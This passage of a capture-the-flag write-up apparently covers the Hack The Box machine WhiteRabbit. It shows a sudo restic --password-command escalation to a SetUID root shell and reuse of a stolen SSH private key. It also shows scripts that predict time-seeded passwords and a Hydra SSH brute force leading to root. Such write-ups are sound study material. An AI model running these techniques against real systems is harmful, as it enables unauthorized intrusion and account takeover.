           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.17.0.0/16 2 0 2
        +-- 172.17.0.0/30 2 0 2
           |-- 172.17.0.0
              /16 link UNICAST
           |-- 172.17.0.2
              /32 host LOCAL
        |-- 172.17.255.255
           /32 link BROADCAST
Local:
  +-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.17.0.0/16 2 0 2
        +-- 172.17.0.0/30 2 0 2
           |-- 172.17.0.0
              /16 link UNICAST
           |-- 172.17.0.2
              /32 host LOCAL
        |-- 172.17.255.255
           /32 link BROADCAST

None of the services I’ve interacted with so far seem to be on this host. The only listening port is 22 (using /proc/net/tcp since netstat and ss aren’t installed):

bob@ebdce80611e9:~$ cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19027 1 0000000000000000 100 0 0 10 0                     
   1: 020011AC:0016 020E0A0A:CD9E 01 00000034:00000000 01:00000016 00000000     0        0 20908 4 0000000000000000 22 4 1 15 -1

There are no other users with home directories in /home or with shells in passwd:

bob@ebdce80611e9:/home$ ls
bob
bob@ebdce80611e9:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
bob:x:1001:1001::/home/bob:/bin/bash

bob can run restic as any user without a password:

bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob on ebdce80611e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User bob may run the following commands on ebdce80611e9:
    (ALL) NOPASSWD: /usr/bin/restic

Execution

I’ll use the same --password-command flag I showed in the third way to escalate via Backrest on Artificial. To make sure it works, I’ll start with a simple touch:

bob@ebdce80611e9:~$ sudo restic check --password-command 'touch /tmp/0xdf'
using temporary cache in /tmp/restic-check-cache-2056660737
Fatal: Please specify repository location (-r or --repository-file)

Even though it errors out, the file exists, owned by root:

bob@ebdce80611e9:~$ ls -l /tmp/
total 0
-rw-r--r-- 1 root root 0 Nov 23 12:17 0xdf

I’ll use two commands to make a copy of bash (owned by root) and then set it as SetUID / SetGID:

bob@ebdce80611e9:~$ sudo restic check --password-command 'cp /bin/bash /tmp/0xdf'
using temporary cache in /tmp/restic-check-cache-2555265670
Fatal: Please specify repository location (-r or --repository-file)
bob@ebdce80611e9:~$ ls -l /tmp/
total 1416
-rw-r--r-- 1 root root 1446024 Nov 23 12:20 0xdf
bob@ebdce80611e9:~$ sudo restic check --password-command 'chmod 6777 /tmp/0xdf'
using temporary cache in /tmp/restic-check-cache-4288576323
Fatal: Please specify repository location (-r or --repository-file)
bob@ebdce80611e9:~$ ls -l /tmp/
total 1416
-rwsrwsrwx 1 root root 1446024 Nov 23 12:20 0xdf

Running with -p to not drop privs gives a root shell:

bob@ebdce80611e9:~$ /tmp/0xdf -p
0xdf-5.2# 

Shell as morpheus on WhiteRabbit

/root is pretty empty other than a SSH keypair:

0xdf-5.2# find . -type f -ls
   458822      4 -rw-r--r--   1 root     root          161 Apr 22  2024 ./.profile
   458821      4 -rw-r--r--   1 root     root         3106 Apr 22  2024 ./.bashrc
    19926      4 -rw-r--r--   1 root     root          186 Aug 30  2024 ./morpheus.pub
    19917      4 -rw-------   1 root     root          505 Aug 30  2024 ./morpheus

The public key shows it was created with the comment morpheus@whiterabbit.htb:

0xdf-5.2# cat morpheus.pub 
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+wJa+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR4= morpheus@whiterabbit.htb

I’ll save a copy of the private key to my host, and SSH to port 22 (the likely host), and it works:

oxdf@hacky$ ssh -i morpheus morpheus@whiterabbit.htb
Warning: Permanently added 'whiterabbit.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64)
...[snip]...
morpheus@whiterabbit:~$ 

Oddly, the comment in the private key doesn’t match:

oxdf@hacky$ cat morpheus | grep -v KEY | base64 -d | strings | grep @
flx@blacklist

It’s very weird for a public / private key pair to have mis-matched comments. My best guess is that the box was originally going to be named blacklist, and then it changed later, and the author manually edited the comment of the public key, but didn’t edit the private key because it stored in an encoded / binary format. FLX is the box author, so the username matches.

Shell as neo on WhiteRabbit

Enumeration

Nothing too exciting in the morpheus user’s home directory:

morpheus@whiterabbit:~$ find . -type f -ls
       27      0 -rw-r--r--   1 morpheus morpheus        0 Aug 30  2024 ./.cache/motd.legal-displayed
       24      4 -rw-r--r--   1 morpheus morpheus      807 Aug 30  2024 ./.profile
       28      4 -rw-rw-r--   1 morpheus morpheus      186 Mar 24  2025 ./.ssh/authorized_keys
     5783      4 -rw-r-----   1 root     morpheus       33 Nov 23 12:02 ./user.txt
       25      4 -rw-r--r--   1 morpheus morpheus     3771 Aug 30  2024 ./.bashrc
       26      4 -rw-r--r--   1 morpheus morpheus      220 Aug 30  2024 ./.bash_logout

There’s another user, neo, with a home directory in /home:

morpheus@whiterabbit:/home$ ls
morpheus  neo

This matches users with shells in passwd:

morpheus@whiterabbit:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
neo:x:1000:1000:Neo:/home/neo:/bin/bash
morpheus:x:1001:1001:Morpheus,,,:/home/morpheus:/bin/bash

The neo user matches the command seen in the database earlier:

cd /home/neo/ && /opt/neo-password-generator/neo-password-generator

That directory exists as well here:

morpheus@whiterabbit:/opt$ ls
containerd  docker  neo-password-generator
morpheus@whiterabbit:/opt/neo-password-generator$ ls
neo-password-generator

file isn’t installed here, but the file starts with the ELF magic bytes:

morpheus@whiterabbit:/opt/neo-password-generator$ file neo-password-generator 
-bash: file: command not found
morpheus@whiterabbit:/opt/neo-password-generator$ xxd neo-password-generator | head
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 8010 0000 0000 0000  ..>.............
00000020: 4000 0000 0000 0000 a835 0000 0000 0000  @........5......
00000030: 0000 0000 4000 3800 0d00 4000 1e00 1d00  ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000  @.......@.......
00000060: d802 0000 0000 0000 d802 0000 0000 0000  ................
00000070: 0800 0000 0000 0000 0300 0000 0400 0000  ................
00000080: 1803 0000 0000 0000 1803 0000 0000 0000  ................
00000090: 1803 0000 0000 0000 1c00 0000 0000 0000  ................

Running it generates a random 20 character password each time:

morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator 
dQbHBUTiPP2Y8Q3ErtQ1
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator 
eLeGFtyGvdGJ3diIGIob
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator 
IMuJIzasSTbSV026NnJT
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator 
Um3XCV8LxnXT9hnDgg8M
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator | wc -c
21

Reverse Engineer

Some user went into neo’s home directory, ran neo-password-generator and used the result to change their password. The only users who could access that directory are neo and root, so it seems worthwhile to look for flaws in the password generation.

I’ll scp the binary to my host:

oxdf@hacky$ scp -i morpheus morpheus@whiterabbit.htb:/opt/neo-password-generator/neo-password-generator neo-password-generator
neo-password-generator                                                       100%   15KB 225.5KB/s   00:00

Ghidra shows that the binary is very simple. The main function gets the time of day, and then passes that to generate_password:

undefined8 main(void)

{
  long in_FS_OFFSET;
  timeval timestamp;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  gettimeofday(&timestamp,(__timezone_ptr_t)0x0);
  generate_password(timestamp.tv_sec * 1000 + timestamp.tv_usec / 1000);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

generate_password uses the timestamp to seed the random number generator, and then loops 20 times choosing a character from a hard-coded string of lower, upper, and digits:

void generate_password(uint timestamp)

{
  int randint;
  long in_FS_OFFSET;
  int i;
  char generated_password [20];
  undefined1 local_14;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  srand(timestamp);
  for (i = 0; i < 20; i = i + 1) {
    randint = rand();
    generated_password[i] =
         "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[randint % 62];
  }
  local_14 = 0;
  puts(generated_password);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Generate Passwords

With Python

It’s important to make sure to use the same libraries to generate random numbers. The Python random module will not create the same random numbers as the C rand function, even with the same seed.

That said, Python has a mechanism to access to the LIBC rand function used in the C API, using the ctypes module. I’ll show that here:

#!/usr/bin/env python3

import sys
import ctypes
from datetime import datetime

# Load libc to use the same rand() implementation
libc = ctypes.CDLL("libc.so.6")

CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

def generate_password(seed: int) -> str:
    libc.srand(seed)
    password = ""
    for _ in range(20):
        password += CHARSET[libc.rand() % 62]
    return password

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} 'YYYY-MM-DD HH:MM:SS'")
        print(f"Example: {sys.argv[0]} '2025-01-15 14:30:45'")
        sys.exit(1)

    try:
        dt = datetime.strptime(sys.argv[1], "%Y-%m-%d %H:%M:%S")
    except ValueError:
        print("Error: Invalid timestamp format. Use 'YYYY-MM-DD HH:MM:SS'")
        sys.exit(1)

    timestamp_sec = int(dt.timestamp())

    seen = set()
    for ms in range(1000):
        seed = timestamp_sec * 1000 + ms
        password = generate_password(seed)
        if password not in seen:
            seen.add(password)
            print(password)

if __name__ == "__main__":
    main()

I’ll run this to generate all the passwords from the timestamp in the DB:

oxdf@hacky$ python gen_passwords.py '2024-08-30 14:40:42' | tee neo_passwords_py | head
L7Qf2aFEohexxuk07tEw
hN6DEuEFtQ5LZX8uxw9r
lWL7jrjJTC54qDojrCvV
mnQ1II9iyvPJRhLBMVfB
XSfLZ30sr8sjDJbx8geU
cOBXPQDByTiWBDDEYJXK
R4njydUwbk3uML4yVoT9
gUepuICfnxFcf7e7K7RA
c4L87irvHxX7pZGX9if6
Y7a6NqegKAmmdunHc6Uq

With C

l can do the same in C (with the help of Claude):

#define _XOPEN_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

const char *CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

void generate_password(unsigned int seed) {
    char password[21];
    srand(seed);

    for (int i = 0; i < 20; i++) {
        password[i] = CHARSET[rand() % 62];
    }
    password[20] = '\0';
    puts(password);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s 'YYYY-MM-DD HH:MM:SS'\n", argv[0]);
        fprintf(stderr, "Example: %s '2025-01-15 14:30:45'\n", argv[0]);
        return 1;
    }

    struct tm tm = {0};
    if (strptime(argv[1], "%Y-%m-%d %H:%M:%S", &tm) == NULL) {
        fprintf(stderr, "Error: Invalid timestamp format. Use 'YYYY-MM-DD HH:MM:SS'\n");
        return 1;
    }

    time_t timestamp_sec = mktime(&tm);
    if (timestamp_sec == -1) {
        fprintf(stderr, "Error: Failed to convert timestamp\n");
        return 1;
    }

    for (int ms = 0; ms < 1000; ms++) {
        unsigned int seed = (unsigned int)(timestamp_sec * 1000 + ms);
        generate_password(seed);
    }

    return 0;
}

I’ll compile this and run it:

oxdf@hacky$ ./gen_passwords '2024-08-30 14:40:42' | tee neo_passwords_c | head
L7Qf2aFEohexxuk07tEw
hN6DEuEFtQ5LZX8uxw9r
lWL7jrjJTC54qDojrCvV
mnQ1II9iyvPJRhLBMVfB
XSfLZ30sr8sjDJbx8geU
cOBXPQDByTiWBDDEYJXK
R4njydUwbk3uML4yVoT9
gUepuICfnxFcf7e7K7RA
c4L87irvHxX7pZGX9if6
Y7a6NqegKAmmdunHc6Uq

The two files are the same other than a newline at the end of the file:

oxdf@hacky$ diff neo_passwords_c neo_passwords_py 
391d390
< 0p
\ No newline at end of file

SSH / su

I’ll use hydra to check this password list to see if any work for neo. If not, I can check a second before the time stamp in the DB, or check the root user. But it finds one:

oxdf@hacky$ time hydra -l neo -P neo_passwords_py ssh://whiterabbit.htb
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-24 01:41:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 390 login tries (l:1/p:390), ~25 tries per task
[DATA] attacking ssh://whiterabbit.htb:22/
[22][ssh] host: whiterabbit.htb   login: neo   password: WBSxhWgfnMiclrV4dqfj
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-24 01:41:55

real    0m6.274s
user    0m0.045s
sys     0m0.059s

I’ll log in with SSH:

oxdf@hacky$ sshpass -p WBSxhWgfnMiclrV4dqfj ssh neo@whiterabbit.htb
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64)
...[snip]...
neo@whiterabbit:~$

It works with su from the shell as morpheus as well:

morpheus@whiterabbit:/opt/neo-password-generator$ su - neo
Password:                                                                                                              
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

neo@whiterabbit:~$

Shell as root on WhiteRabbit

neo can run any command as any user on WhiteRabbit with sudo:

neo@whiterabbit:~$ sudo -l
[sudo] password for neo:
Matching Defaults entries for neo on whiterabbit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User neo may run the following commands on whiterabbit:
    (ALL : ALL) ALL

sudo -i gives a root shell:

neo@whiterabbit:~$ sudo -i
root@whiterabbit:~#

And the flag:

root@whiterabbit:~# cat root.txt
8a648f05************************